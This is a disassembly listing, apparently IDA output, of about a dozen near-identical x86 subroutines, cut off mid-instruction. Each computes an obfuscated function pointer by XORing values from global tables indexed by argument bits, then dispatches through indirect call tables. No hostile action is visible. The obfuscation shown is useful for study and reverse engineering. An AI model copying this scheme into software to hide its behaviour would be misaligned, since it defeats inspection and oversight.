O U T I N E ======================================= ; Attributes: bp-based frame sub_4B204F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBF8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0BDh mov [ebp+var_2C], 59h mov [ebp+var_28], 8Dh mov [ebp+var_24], 0E8h mov [ebp+var_20], 0C8h mov [ebp+var_1C], 73h mov [ebp+var_18], 5Eh mov [ebp+var_14], 39h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B20E0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B20E0: ; CODE XREF: sub_4B204F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B214C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBFCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 63h mov [ebp+var_2C], 0F3h mov [ebp+var_28], 0C3h mov [ebp+var_24], 61h mov [ebp+var_20], 71h mov [ebp+var_1C], 0A2h mov [ebp+var_18], 0AFh mov [ebp+var_14], 3Eh mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B21DC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B21DC: ; CODE XREF: sub_4B214C+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B214C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2248 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC00o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E5h mov [ebp+var_2C], 0F9h mov [ebp+var_28], 3Ch mov [ebp+var_24], 6Dh mov [ebp+var_20], 5 mov [ebp+var_1C], 0A4h mov [ebp+var_18], 0E1h mov [ebp+var_14], 4Bh mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B22D9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B22D9: ; CODE XREF: sub_4B2248+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2345 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC04o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Dh mov [ebp+var_2C], 0EEh mov [ebp+var_28], 0 mov [ebp+var_24], 0D7h mov [ebp+var_20], 39h mov [ebp+var_1C], 2Ch mov [ebp+var_18], 5 mov [ebp+var_14], 25h mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B23D3 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B23D3: ; CODE XREF: sub_4B2345+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2345 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B243F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC08o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0B7h mov [ebp+var_2C], 91h mov [ebp+var_28], 0A4h mov [ebp+var_24], 8Ch mov [ebp+var_20], 48h mov [ebp+var_1C], 63h mov [ebp+var_18], 5Eh mov [ebp+var_14], 49h mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B24D0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B24D0: ; CODE XREF: sub_4B243F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B243F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B253C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC0Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3Dh mov [ebp+var_2C], 1Fh mov [ebp+var_28], 56h mov [ebp+var_24], 8Fh mov [ebp+var_20], 0E0h mov [ebp+var_1C], 0E5h mov [ebp+var_18], 0Dh mov [ebp+var_14], 8Eh mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B25CD mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B25CD: ; CODE XREF: sub_4B253C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B253C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2639 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC10o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0Eh mov [ebp+var_2C], 0B3h mov [ebp+var_28], 0B2h mov [ebp+var_24], 0C4h mov [ebp+var_20], 80h mov [ebp+var_1C], 80h mov [ebp+var_18], 11h mov [ebp+var_14], 58h mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B26CA mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B26CA: ; CODE XREF: sub_4B2639+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2736 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC14o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0FAh mov [ebp+var_2C], 4Ah mov [ebp+var_28], 27h mov [ebp+var_24], 0BDh mov [ebp+var_20], 64h mov [ebp+var_1C], 3Eh mov [ebp+var_18], 4Ah mov [ebp+var_14], 5Eh mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B27C7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B27C7: ; CODE XREF: sub_4B2736+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2736 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2833 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC18o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 88h mov [ebp+var_2C], 45h mov [ebp+var_28], 73h mov [ebp+var_24], 0F1h mov [ebp+var_20], 92h mov [ebp+var_1C], 16h mov [ebp+var_18], 1Dh mov [ebp+var_14], 0A9h mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B28C1 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B28C1: ; CODE XREF: sub_4B2833+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2833 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B292D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC1Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 62h mov [ebp+var_2C], 8Eh mov [ebp+var_28], 0D3h mov [ebp+var_24], 95h mov [ebp+var_20], 40h mov [ebp+var_1C], 8Ch mov [ebp+var_18], 48h mov [ebp+var_14], 71h mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B29BE mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B29BE: ; CODE XREF: sub_4B292D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B292D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2A2A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC20o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Bh mov [ebp+var_2C], 8Eh mov [ebp+var_28], 0F5h mov [ebp+var_24], 0A3h mov [ebp+var_20], 0Fh mov [ebp+var_1C], 9Ah mov [ebp+var_18], 29h mov [ebp+var_14], 0A0h mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B2ABB mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B2ABB: ; CODE XREF: sub_4B2A2A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2A2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2B27 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC24o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DCh mov [ebp+var_2C], 8 mov [ebp+var_28], 7Fh mov [ebp+var_24], 87h mov [ebp+var_20], 3Ah mov [ebp+var_1C], 0D1h mov [ebp+var_18], 0Ah mov [ebp+var_14], 0B2h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B2BB7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B2BB7: ; CODE XREF: sub_4B2B27+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2C23 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC28o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F9h mov [ebp+var_2C], 40h mov [ebp+var_28], 8Ch mov [ebp+var_24], 56h mov [ebp+var_20], 1Dh mov [ebp+var_1C], 47h mov [ebp+var_18], 58h mov [ebp+var_14], 0E6h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B2CB4 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B2CB4: ; CODE XREF: sub_4B2C23+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor 